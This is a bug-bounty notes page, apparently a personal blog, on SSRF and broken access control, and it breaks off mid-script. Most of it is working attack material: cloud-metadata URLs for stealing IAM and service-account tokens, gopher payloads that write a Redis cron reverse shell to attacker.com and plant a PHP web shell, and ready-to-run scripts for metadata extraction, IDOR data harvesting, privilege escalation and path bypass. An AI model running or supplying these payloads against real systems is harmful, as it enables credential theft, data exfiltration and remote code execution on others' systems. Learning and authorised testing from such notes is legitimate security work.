Skip to main content

Web Hacking Notes | Bug Bounties (SSRF & Broken Access Control)

3839 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Web VAPT & Bug Bounty Notes
#


Server-Side Request Forgery (SSRF)
#

Force the server to make requests to arbitrary domains, often targeting internal networks, cloud metadata, or bypassing access controls.

Microservices, container orchestration (Kubernetes), and serverless architectures have dramatically increased SSRF attack surface. Focus on cloud metadata exploitation, internal service discovery, and SSRF chain attacks.

Common parameters: url, link, src, href, callback, webhook, proxy, redirect, uri, api_url, fetch, download, import, path, target

Basic SSRF Payloads
#

# Internal network scanning
http://127.0.0.1/
http://localhost/
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Port scanning (common services)
http://127.0.0.1:22/      # SSH
http://127.0.0.1:80/      # HTTP
http://127.0.0.1:443/     # HTTPS
http://127.0.0.1:3306/    # MySQL
http://127.0.0.1:5432/    # PostgreSQL
http://127.0.0.1:6379/    # Redis
http://127.0.0.1:8080/    # Alternative HTTP
http://127.0.0.1:9200/    # Elasticsearch
http://127.0.0.1:27017/   # MongoDB
http://127.0.0.1:11211/   # Memcached

# Modern services (2025)
http://127.0.0.1:2375/    # Docker API
http://127.0.0.1:2379/    # etcd (Kubernetes)
http://127.0.0.1:4243/    # Docker registry
http://127.0.0.1:8001/    # Kubernetes API proxy
http://127.0.0.1:10250/   # Kubelet API

# Cloud metadata endpoints (critical in 2025)
http://169.254.169.254/latest/meta-data/          # AWS
http://169.254.169.254/latest/user-data/          # AWS user data
http://169.254.169.254/latest/dynamic/instance-identity/document  # AWS instance identity
http://metadata.google.internal/computeMetadata/v1/  # Google Cloud
http://100.100.100.200/latest/meta-data/          # Alibaba Cloud
http://169.254.169.254/metadata/instance?api-version=2021-02-01  # Azure

# AWS IMDSv2 (token required, but try IMDSv1 first)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# Google Cloud metadata (requires Metadata-Flavor header, but test without)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

# Azure metadata (requires Metadata header, but test without)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01

Protocol-Based SSRF
#

# File protocol (local file access)
file:///etc/passwd
file:///C:/windows/win.ini
file:///proc/self/environ
file:///var/www/html/.env

# Modern file paths (containers, cloud)
file:///run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/docker.sock
file:///app/.env
file:///config/application.yml

# FTP protocol (data exfiltration)
ftp://127.0.0.1:21/
ftp://attacker.com:21/
ftp://internal.company.com/

# LDAP protocol (internal directory access)
ldap://127.0.0.1:389/
ldaps://127.0.0.1:636/
ldap://internal.company.com:389/dc=company,dc=com

# Gopher protocol (arbitrary TCP - extremely powerful)
gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0AHost:%20127.0.0.1%0A%0A
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A  # Redis FLUSHALL command

# Gopher for HTTP POST
gopher://127.0.0.1:80/_POST%20/api/admin%20HTTP/1.1%0AHost:127.0.0.1%0AContent-Length:13%0A%0Aparam=value

# Gopher for SMTP (email sending)
gopher://127.0.0.1:25/_MAIL%20FROM:<attacker@evil.com>%0ARCPT%20TO:<victim@target.com>%0ADATA%0ASubject:SSRF%0A%0ATest%0A.

# Dict protocol (probe services)
dict://127.0.0.1:11211/stat    # Memcached info
dict://127.0.0.1:6379/info     # Redis info
dict://127.0.0.1:3306/         # MySQL probe

# SFTP protocol (if supported)
sftp://internal.company.com/
sftp://127.0.0.1:22/

# TFTP protocol (trivial file transfer)
tftp://127.0.0.1:69/

# SMB/CIFS protocol (Windows networks)
smb://internal.server/share
\\internal.server\share

# JAR protocol (Java applications)
jar:http://attacker.com/evil.jar!/
jar:file:///var/www/html/uploads/file.jar!/

# Netdoc protocol (Java-specific)
netdoc:///etc/passwd

# Data URI (base64 encoding)
data:text/plain;base64,SGVsbG8gV29ybGQ=

# OPSEC: Use protocols based on target technology
# Python: file://, http://, ftp://, gopher://
# Java: file://, http://, ftp://, jar://, netdoc://
# PHP: file://, http://, ftp://, php://, data://, zip://
# Node.js: file://, http://, https://

Bypass Techniques
#

# IP representation bypasses

# Decimal representation
http://2130706433/              # 127.0.0.1 in decimal
http://3232235521/              # 192.168.1.1 in decimal

# Calculation for decimal: (A*256³) + (B*256²) + (C*256) + D
# Example: 127.0.0.1 = (127*16777216) + (0*65536) + (0*256) + 1 = 2130706433

# Hexadecimal representation
http://0x7f000001/              # 127.0.0.1 in hex
http://0x7f.0x0.0x0.0x1/        # Alternative hex format
http://0xC0A80101/              # 192.168.1.1 in hex

# Octal representation
http://0177.0000.0000.0001/     # 127.0.0.1 in octal
http://0177.0.0.1/              # Mixed octal
http://017700000001/            # Full octal

# Mixed representations
http://127.1/                   # Short form of 127.0.0.1
http://127.0.1/                 # Another short form
http://0x7f.1/                  # Hex + decimal
http://0177.1/                  # Octal + decimal

# Integer overflow (32-bit systems)
http://2130706433/              # 127.0.0.1
http://4294967295/              # 255.255.255.255

# Domain-based bypasses (DNS tricks)

# Using DNS that resolves to internal IP
http://localtest.me/            # Resolves to 127.0.0.1
http://127.0.0.1.nip.io/        # Wildcard DNS service
http://127.0.0.1.xip.io/        # Another wildcard service
http://127.0.0.1.sslip.io/      # Modern alternative
http://127.0.0.1.nip.io:8080/   # With port

# Custom DNS resolution
http://internal.attacker.com/   # Point this to 127.0.0.1 in your DNS

# Subdomain confusion
http://127.0.0.1.evil.com/      # If filter checks domain suffix
http://evil.com.127.0.0.1.nip.io/

# URL parser confusion

# Fragment confusion
http://127.0.0.1#@evil.com/     # Fragment after @
http://evil.com#@127.0.0.1/

# User info confusion
http://127.0.0.1@evil.com/      # User info field
http://evil.com@127.0.0.1/
http://evil.com%23@127.0.0.1/   # Encoded fragment

# Port confusion
http://127.0.0.1:80@evil.com/
http://evil.com:80@127.0.0.1/

# Path confusion
http://evil.com/127.0.0.1
http://evil.com/../127.0.0.1
http://evil.com/..%2f127.0.0.1

# Case sensitivity bypasses
http://LOCALHOST/
http://127.0.0.1/ADMIN
http://LocalHost/
http://lOcAlHoSt/

# Encoding bypasses

# URL encoding
http://127.0.0.1/%61%64%6d%69%6e  # /admin encoded
http://%31%32%37%2e%30%2e%30%2e%31/  # 127.0.0.1 encoded

# Double URL encoding
http://127.0.0.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65  # /admin double encoded

# Unicode/UTF-8 encoding
http://①②⑦.⓪.⓪.①/             # Unicode numbers
http://127。0。0。1/              # Ideographic full stop

# HTML entity encoding (context-dependent)
http://127&#46;0&#46;0&#46;1/

# IPv6 bypasses
http://[::1]/                   # IPv6 localhost
http://[0000::1]/               # Extended IPv6 localhost
http://[::ffff:7f00:1]/         # IPv4-mapped IPv6
http://[0:0:0:0:0:ffff:127.0.0.1]/  # Full notation

# Redirect-based SSRF (if application follows redirects)
# 1. Set up redirect on your server:
#    evil.com/redirect -> 302 -> http://127.0.0.1/admin
# 2. Use http://evil.com/redirect as SSRF payload

# Using URL shorteners (bypass domain filters)
http://bit.ly/internal          # Create shortlink to internal IP
http://tinyurl.com/internal     # Alternative shortener

# DNS rebinding attack (advanced)
# 1. Create domain that alternates DNS responses
# 2. First request: Returns legitimate IP
# 3. Second request: Returns internal IP

# OPSEC: CRLF injection for header manipulation
http://127.0.0.1/%0d%0aX-Forwarded-For:%20attacker.com%0d%0a

# Open redirect chaining
http://trusted-site.com/redirect?url=http://127.0.0.1/admin

# Whitelist bypass via @ symbol
http://allowed-domain.com@127.0.0.1/
http://allowed-domain.com:80@127.0.0.1/

# Backslash bypass (Windows-style paths)
http://allowed-domain.com\127.0.0.1
http://allowed-domain.com%5c127.0.0.1

Advanced SSRF Techniques
#

# Blind SSRF detection (no direct response)

# Time-based detection
http://127.0.0.1:22/            # SSH might cause delay
http://127.0.0.1:3389/          # RDP might cause delay
http://internal.slow-service.com/  # Intentionally slow service

# DNS-based detection (most reliable for blind SSRF)
http://unique-id.attacker.com/
http://ssrf-test.burpcollaborator.net/
http://ssrf-$(whoami).attacker.com/  # If command injection possible

# OPSEC: Use Burp Collaborator or similar
# 1. Generate unique subdomain
# 2. Use as SSRF target
# 3. Check Collaborator for DNS/HTTP requests

# HTTP parameter smuggling via SSRF
# Using CRLF injection
http://127.0.0.1:80/%0d%0aHost:%20evil.com%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0a

# Exploiting URL parsers (different parsers, different interpretations)
http://evil.com%2f127.0.0.1/
http://evil.com%5c127.0.0.1/    # Backslash (Windows-style)
http://evil.com%23127.0.0.1/    # Fragment bypass

# SSRF to XSS (if response reflected)
http://evil.com/xss?callback=<script>alert(1)</script>

# SSRF to SQLi (if internal API vulnerable)
http://internal-api/user?id=1' UNION SELECT password FROM users--

# SSRF to RCE (via internal services)

# Redis exploitation via SSRF
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0a%0d%0a
# Above sets cron job via Redis

# Memcached exploitation via SSRF
gopher://127.0.0.1:11211/_set%20exploit%200%200%2050%0d%0a<?php system($_GET['cmd']); ?>%0d%0a

# MySQL exploitation (if MySQL protocol supported)
gopher://127.0.0.1:3306/_...  # Complex, requires MySQL protocol crafting

# FastCGI exploitation (PHP-FPM)
gopher://127.0.0.1:9000/_...  # Execute PHP code via FastCGI

# SMTP exploitation (send emails)
gopher://127.0.0.1:25/_EHLO%20attacker.com%0AMAIL%20FROM:<%20attacker@evil.com>%0ARCPT%20TO:<victim@target.com>%0ADATA%0ASubject:%20SSRF%0A%0ATest%20email%0A.%0AQUIT

# OPSEC: Chaining SSRF with other vulnerabilities

# SSRF → File read (via file://)
file:///proc/self/environ
file:///var/www/html/.git/config

# SSRF → XXE (if internal service parses XML)
http://internal-api/parse?xml=<!DOCTYPE%20foo%20[<!ENTITY%20xxe%20SYSTEM%20"file:///etc/passwd">]><foo>&xxe;</foo>

# SSRF → SSRF (pivot through multiple servers)
http://server1.internal/fetch?url=http://server2.internal/admin

Cloud-Specific SSRF
#

# AWS EC2 Metadata (IMDSv1 - still common in 2025)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# AWS IMDSv2 (requires token - but test if IMDSv1 still enabled)
# Step 1: Get token (if you can control multiple requests)
# PUT request to: http://169.254.169.254/latest/api/token
# Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Step 2: Use token (if you can inject headers)
# GET request to: http://169.254.169.254/latest/meta-data/
# Header: X-aws-ec2-metadata-token: TOKEN_VALUE

# AWS ECS Metadata (container tasks)
http://169.254.170.2/v2/credentials/
http://169.254.170.2/v2/metadata/
http://169.254.170.2/v3/credentials/
http://169.254.170.2/v3/metadata/

# AWS ECS task metadata with credentials
http://169.254.170.2/v2/credentials/[GUID]

# Google Cloud Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/project/
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

# GCP requires Metadata-Flavor header, but test without
# If you control headers: Metadata-Flavor: Google

# Alternative GCP endpoint (legacy)
http://metadata/computeMetadata/v1/

# Azure Instance Metadata Service (IMDS)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/

# Azure requires Metadata: true header, but test without

# Digital Ocean Metadata
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
http://169.254.169.254/metadata/v1/user-data

# Alibaba Cloud Metadata
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/user-data/
http://100.100.100.200/latest/dynamic/instance-identity/document

# Oracle Cloud Infrastructure (OCI) Metadata
http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v2/instance/

# Kubernetes Service Discovery (from pod)
https://kubernetes.default.svc/
https://kubernetes.default.svc/api/v1/namespaces/default/pods
https://kubernetes.default.svc/api/v1/namespaces/default/secrets

# Kubernetes API from pod (using service account token)
# Token location: /var/run/secrets/kubernetes.io/serviceaccount/token
# Use file:// or SSRF to read token, then:
https://kubernetes.default.svc/api/v1/namespaces

# Docker Engine API (if socket exposed)
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/images/json
http://127.0.0.1:2375/version

# Docker socket via file:// (if supported)
file:///var/run/docker.sock

# etcd (Kubernetes configuration storage)
http://127.0.0.1:2379/v2/keys/
http://127.0.0.1:2379/v2/keys/?recursive=true
http://127.0.0.1:2379/health

# OPSEC: Automated cloud metadata extraction
cat > cloud_metadata_extract.sh << 'EOF'
#!/bin/bash
# Usage: ./cloud_metadata_extract.sh http://target.com/ssrf?url=

ssrf_url="$1"
output="cloud_metadata_$(date +%Y%m%d_%H%M%S).txt"

echo "[*] Extracting cloud metadata via SSRF" | tee "$output"

# AWS endpoints
aws_endpoints=(
    "http://169.254.169.254/latest/meta-data/"
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    "http://169.254.169.254/latest/user-data/"
    "http://169.254.170.2/v2/credentials/"
)

for endpoint in "${aws_endpoints[@]}"; do
    echo "[*] Testing: $endpoint" | tee -a "$output"
    response=$(curl -s "${ssrf_url}${endpoint}")
    if [ ! -z "$response" ]; then
        echo "[+] Response received:" | tee -a "$output"
        echo "$response" | tee -a "$output"
    fi
done

# GCP endpoints
gcp_endpoints=(
    "http://metadata.google.internal/computeMetadata/v1/"
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
)

for endpoint in "${gcp_endpoints[@]}"; do
    echo "[*] Testing: $endpoint" | tee -a "$output"
    response=$(curl -s "${ssrf_url}${endpoint}")
    if [ ! -z "$response" ]; then
        echo "[+] Response received:" | tee -a "$output"
        echo "$response" | tee -a "$output"
    fi
done

echo "[*] Extraction complete. Results saved to: $output"
EOF

chmod +x cloud_metadata_extract.sh

SSRF Exploitation Tools
#

# SSRFmap - Comprehensive SSRF exploitation tool
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap

# Basic SSRF detection
python3 ssrfmap.py -r request.txt -p url -m readfiles

# Port scanning via SSRF
python3 ssrfmap.py -r request.txt -p url -m portscan --lhost 127.0.0.1 --lport 22,80,443,8080,3306,6379

# Cloud metadata exploitation
python3 ssrfmap.py -r request.txt -p url -m aws
python3 ssrfmap.py -r request.txt -p url -m gcp
python3 ssrfmap.py -r request.txt -p url -m azure

# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis --rhost 127.0.0.1 --rport 6379

# Custom SSRF testing script (OPSEC-focused)
cat > ssrf_scanner.sh << 'EOF'
#!/bin/bash
# Usage: ./ssrf_scanner.sh "http://target.com/fetch?url=" output.txt

ssrf_endpoint="$1"
output="$2"
delay=1  # OPSEC: Rate limiting

echo "[*] Starting SSRF scan on: $ssrf_endpoint" | tee "$output"

# Phase 1: Internal network discovery
echo "[*] Phase 1: Internal network discovery" | tee -a "$output"

internal_ips=(
    "127.0.0.1"
    "localhost"
    "192.168.1.1"
    "10.0.0.1"
    "172.16.0.1"
    "169.254.169.254"  # Cloud metadata
)

common_ports=(80 443 22 3306 6379 8080 9200)

for ip in "${internal_ips[@]}"; do
    for port in "${common_ports[@]}"; do
        target="http://${ip}:${port}/"
        echo "[*] Testing: $target" | tee -a "$output"
        
        start_time=$(date +%s)
        response=$(curl -s "${ssrf_endpoint}${target}" --max-time 5 2>&1)
        end_time=$(date +%s)
        duration=$((end_time - start_time))
        
        if [ ! -z "$response" ]; then
            echo "[+] Response from $target:" | tee -a "$output"
            echo "$response" | head -n 20 | tee -a "$output"
        elif [ $duration -ge 3 ]; then
            echo "[+] Possible open port (timeout): $target" | tee -a "$output"
        fi
        
        sleep $delay
    done
done

# Phase 2: Cloud metadata access
echo "[*] Phase 2: Cloud metadata access" | tee -a "$output"

metadata_endpoints=(
    "http://169.254.169.254/latest/meta-data/"
    "http://metadata.google.internal/computeMetadata/v1/"
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
)

for endpoint in "${metadata_endpoints[@]}"; do
    echo "[*] Testing metadata: $endpoint" | tee -a "$output"
    response=$(curl -s "${ssrf_endpoint}${endpoint}")
    
    if [ ! -z "$response" ] && [ "$response" != "Not Found" ]; then
        echo "[+] CLOUD METADATA ACCESSIBLE!" | tee -a "$output"
        echo "[+] Endpoint: $endpoint" | tee -a "$output"
        echo "$response" | tee -a "$output"
    fi
    
    sleep $delay
done

# Phase 3: Protocol testing
echo "[*] Phase 3: Protocol testing" | tee -a "$output"

protocols=(
    "file:///etc/passwd"
    "file:///C:/windows/win.ini"
    "ftp://127.0.0.1:21/"
    "dict://127.0.0.1:6379/info"
    "gopher://127.0.0.1:6379/_info"
)

for protocol in "${protocols[@]}"; do
    echo "[*] Testing protocol: $protocol" | tee -a "$output"
    response=$(curl -s "${ssrf_endpoint}${protocol}")
    
    if [ ! -z "$response" ]; then
        echo "[+] Protocol supported: $protocol" | tee -a "$output"
        echo "$response" | head -n 20 | tee -a "$output"
    fi
    
    sleep $delay
done

echo "[*] Scan complete. Results saved to: $output"
EOF

chmod +x ssrf_scanner.sh

# Modern tool: Gopherus (craft Gopher payloads)
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
chmod +x gopherus.py

# Generate Redis payload
python3 gopherus.py --exploit redis

# Generate MySQL payload
python3 gopherus.py --exploit mysql

# Generate FastCGI payload
python3 gopherus.py --exploit fastcgi

# Nuclei templates for SSRF
nuclei -u "http://target.com" -t ~/nuclei-templates/vulnerabilities/ssrf/

# OPSEC: Blind SSRF detection via Burp Collaborator
# 1. Generate unique Collaborator subdomain
# 2. Use as SSRF target: http://unique-id.burpcollaborator.net
# 3. Check Collaborator for DNS/HTTP requests
# 4. If requests received, SSRF confirmed

# Python script for automated SSRF testing
cat > ssrf_fuzzer.py << 'EOF'
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import quote

def test_ssrf(base_url, param, payloads):
    for name, payload in payloads.items():
        url = f"{base_url}?{param}={quote(payload)}"
        print(f"[*] Testing: {name}")
        print(f"[*] Payload: {payload}")
        
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200 and len(r.text) > 100:
                print(f"[+] Response (first 200 chars): {r.text[:200]}")
        except requests.exceptions.Timeout:
            print(f"[!] Timeout - possible open port or slow service")
        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")
        
        print()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <base_url> <param_name>")
        print(f"Example: {sys.argv[0]} http://target.com/fetch url")
        sys.exit(1)
    
    base_url = sys.argv[1]
    param = sys.argv[2]
    
    payloads = {
        "Localhost": "http://127.0.0.1/",
        "AWS Metadata": "http://169.254.169.254/latest/meta-data/",
        "GCP Metadata": "http://metadata.google.internal/computeMetadata/v1/",
        "Azure Metadata": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
        "File Read": "file:///etc/passwd",
        "Redis": "dict://127.0.0.1:6379/info",
        "Internal Service": "http://192.168.1.1/",
        "Docker API": "http://127.0.0.1:2375/containers/json"
    }
    
    test_ssrf(base_url, param, payloads)
EOF

chmod +x ssrf_fuzzer.py
python3 ssrf_fuzzer.py http://target.com/fetch url

Broken Access Control
#

Exploit flaws in authorization mechanisms to access unauthorized resources or perform restricted actions.

Microservices architecture, GraphQL APIs, and OAuth/JWT implementations have created complex authorization landscapes. Focus on IDOR, privilege escalation, and API access control bypasses.

Horizontal Privilege Escalation (IDOR)
#

# IDOR (Insecure Direct Object References)

# Change user IDs in URLs
/user/profile?id=123    → /user/profile?id=124
/account/1234           → /account/5678
/order/view/999         → /order/view/1000
/api/users/123          → /api/users/124

# Modern API patterns (2025)
/api/v1/users/me        → /api/v1/users/admin
/api/v2/profile/user123 → /api/v2/profile/user124
/graphql?query={user(id:123)}  → /graphql?query={user(id:124)}

# UUID/GUID enumeration (harder but possible)
/api/users/550e8400-e29b-41d4-a716-446655440000
# Try incremental or sequential UUIDs
# Try common UUID patterns (version 1 UUIDs are sequential)

# Change IDs in request bodies
POST /api/user/update HTTP/1.1
Content-Type: application/json

{"user_id": "123", "email": "new@email.com"}
# Try: {"user_id": "124", "email": "attacker@evil.com"}

# Change IDs in cookies
Cookie: user_id=123
# Modify to: user_id=124

# OPSEC: Enumerate through ID ranges systematically
for i in {1..1000}; do
    curl -s "http://target.com/api/user/$i" \
         -H "Authorization: Bearer $token" \
         -o "user_$i.json"
    sleep 0.5  # Rate limiting
done

# Check for exposed data
grep -r "email\|phone\|ssn\|password" user_*.json

# Modern patterns: Hash-based IDs (MD5, SHA)
# If IDs appear to be hashes, try:
# - Hashing sequential numbers: md5(1), md5(2), etc.
# - Hashing common usernames: md5("admin"), md5("user"), etc.

# Base64 encoded IDs
# Decode: MTIz → 123
# Increment: 124
# Encode: MTI0
echo "MTIz" | base64 -d  # 123
echo -n "124" | base64    # MTI0

# Hex encoded IDs
# 7b → 123 in decimal
# Try: 7c, 7d, 7e, etc.

# OPSEC: Automated IDOR testing script
cat > idor_scanner.sh << 'EOF'
#!/bin/bash
# Usage: ./idor_scanner.sh "http://target.com/api/user/" "YOUR_TOKEN" 1 1000

base_url="$1"
token="$2"
start="$3"
end="$4"
output_dir="idor_results_$(date +%Y%m%d_%H%M%S)"

mkdir -p "$output_dir"

echo "[*] Testing IDOR from $start to $end"

for i in $(seq $start $end); do
    echo "[*] Testing ID: $i"
    
    response=$(curl -s "${base_url}${i}" \
        -H "Authorization: Bearer $token" \
        -w "\n%{http_code}")
    
    http_code=$(echo "$response" | tail -n 1)
    body=$(echo "$response" | head -n -1)
    
    if [ "$http_code" == "200" ]; then
        echo "[+] Accessible: ID $i"
        echo "$body" > "$output_dir/user_$i.json"
        
        # Check for sensitive data
        if echo "$body" | grep -qiE "password|ssn|secret|token"; then
            echo "[!] SENSITIVE DATA FOUND: ID $i" | tee -a "$output_dir/sensitive.txt"
        fi
    fi
    
    sleep 0.5  # OPSEC: Rate limiting
done

echo "[*] Scan complete. Results in: $output_dir"
EOF

chmod +x idor_scanner.sh

Vertical Privilege Escalation
#

# Direct admin URL access (try common admin paths)
/admin
/administrator
/admin.php
/admin/
/admin/dashboard
/administrator/
/management
/manage
/dashboard
/console
/control-panel
/cp
/backend
/staff
/moderator
/adm

# Modern admin paths (2025)
/admin-panel
/admin-console
/api/admin
/api/v1/admin
/api/v2/admin
/graphql-admin
/_admin
/__admin

# Add admin-related parameters
?admin=true
?isAdmin=1
?role=admin
?privilege=administrator
?access_level=admin
&admin=true
&user_type=admin

# Modify request body parameters
POST /api/user/profile HTTP/1.1
Content-Type: application/json

{"username":"user","role":"user"}
# Change to: {"username":"user","role":"admin"}

# Mass assignment vulnerabilities
POST /api/user/register HTTP/1.1
Content-Type: application/json

{"username":"newuser","email":"test@test.com","is_admin":true}
# Try adding admin fields that might not be filtered

# Cookie manipulation
Cookie: role=user → role=admin
Cookie: isAdmin=0isAdmin=1
Cookie: privilege=user → privilege=administrator
Cookie: access_level=1access_level=9

# JWT token manipulation (if poorly implemented)
# Decode JWT at jwt.io
# Change "role": "user" to "role": "admin"
# Re-encode (if no signature verification or weak secret)

# HTTP headers manipulation
X-Admin: true
X-Role: administrator
X-Privilege: admin
X-Access-Level: 9
X-User-Type: admin
X-Is-Admin: 1

# Modern patterns: GraphQL mutations
mutation {
  updateUser(id: "123", role: "admin") {
    id
    role
  }
}

# OPSEC: Test for privilege escalation systematically
cat > privilege_escalation_test.sh << 'EOF'
#!/bin/bash
# Usage: ./privilege_escalation_test.sh http://target.com/api/user/update "YOUR_TOKEN"

url="$1"
token="$2"

echo "[*] Testing privilege escalation vectors"

# Test parameter injection
params=(
    '{"role":"admin"}'
    '{"is_admin":true}'
    '{"privilege":"administrator"}'
    '{"access_level":9}'
    '{"user_type":"admin"}'
)

for param in "${params[@]}"; do
    echo "[*] Testing: $param"
    
    response=$(curl -s -X POST "$url" \
        -H "Authorization: Bearer $token" \
        -H "Content-Type: application/json" \
        -d "$param")
    
    if echo "$response" | grep -qiE "admin|success|updated"; then
        echo "[+] POTENTIAL PRIVILEGE ESCALATION: $param"
        echo "$response"
    fi
done
EOF

chmod +x privilege_escalation_test.sh

Path-Based Bypasses
#

# Case sensitivity (web servers may treat differently)
/admin → /Admin → /ADMIN → /AdMiN → /aDmIn

# Path traversal
/admin → /./admin → /../admin → /admin/. → /admin/..;/

# Encoding bypasses

# URL encoding
/admin → /%61%64%6d%69%6e
/admin → /%61dmin
/admin → /ad%6din

# Double URL encoding
/admin → /%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

# Unicode normalization
/admin → /\u0061dmin
/admin → /\u0061\u0064\u006d\u0069\u006e

# UTF-8 overlong encoding
/admin → /%c0%61dmin

# HTTP method bypasses
# If GET /admin is forbidden, try:
POST /admin
PUT /admin
PATCH /admin
DELETE /admin
HEAD /admin
OPTIONS /admin
TRACE /admin
CONNECT /admin

# HTTP method override headers
X-HTTP-Method-Override: GET
X-HTTP-Method: GET
X-Method-Override: GET

# Special characters
/admin; → /admin%00 → /admin%0a → /admin// → /admin/. → /admin%20

# Trailing slash manipulation
/admin → /admin/ → /admin/// → /admin/.

# Path parameters (Spring Framework, etc.)
/admin;foo=bar
/admin;jsessionid=123
/admin;.css
/admin;x=y/../admin

# Query string confusion
/public?page=admin
/public#admin
/public?page=../admin

# Modern framework bypasses (2025)

# Next.js bypasses
/_next/admin
/__next/admin

# React Router bypasses
/app/admin
/dashboard/admin

# GraphQL bypasses
/graphql?query=admin
/graphql/admin

# OPSEC: Automated path bypass testing
cat > path_bypass_fuzzer.py << 'EOF'
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import quote

def test_path_bypass(base_url, path, token):
    bypasses = [
        path,
        path.upper(),
        path.capitalize(),
        f"/./{path}",
        f"/../{path}",
        f"/{path}/.",
        quote(path),
        quote(quote(path)),
        f"{path};foo=bar",
        f"{path}%00",
        f"{path}%0a",
        f"{path}//",
        f"{path}%20",
        f"/{path[0]}%00{path[1:]}"
    ]
    
    methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']
    
    headers = {'Authorization': f'Bearer {token}'}
    
    for bypass in bypasses:
        url = f"{base_url}{bypass}"
        for method in methods:
            try:
                r = requests.request(method, url, headers=headers, timeout=5)
                if r.status_code in [200, 201, 204]:
                    print(f"[+] SUCCESS: {method} {url} - Status: {r.status_code}")
                    print(f"[+] Response (first 200 chars): {r.text[:200]}")
            except:
                pass

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <base_url> <path> <token>")
        sys.exit(1)
    
    test_path_bypass(sys.argv[1], sys.argv[2], sys.argv[3])
EOF

chmod +x path_bypass_fuzzer.py
python3 path_bypass_fuzzer.py http://target.com admin YOUR_TOKEN

Header-Based Bypasses
#

# IP spoofing headers (bypass IP-based restrictions)
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1  # Cloudflare

# Bypass using multiple headers
X-Forwarded-For: 127.0.0.1, 127.0.0.1
X-Forwarded-For: 127.0.0.1, <REAL_IP>

# Authorization headers (URL rewriting)
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1

# Referer-based bypasses
Referer: http://localhost/admin
Referer: http://127.0.0.1/admin
Referer: http://internal.company.com/

# Origin header bypasses
Origin: http://localhost
Origin: http://127.0.0.1
Origin: null

# Host header bypasses (if host-based routing)
Host: localhost
Host: 127.0.0.1
Host: admin.target.com

# Custom application headers
X-User-ID: 1  # Try admin user ID
X-Account-ID: admin
X-Role: administrator
X-Auth-Token: <ADMIN_TOKEN>

# Content-Type manipulation (bypass parsers)
Content-Type: application/json; charset=utf-8
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data
Content-Type: text/xml

# OPSEC: Test all headers systematically
cat > header_bypass_test.sh << 'EOF'
#!/bin/bash
# Usage: ./header_bypass_test.sh http://target.com/admin

url="$1"

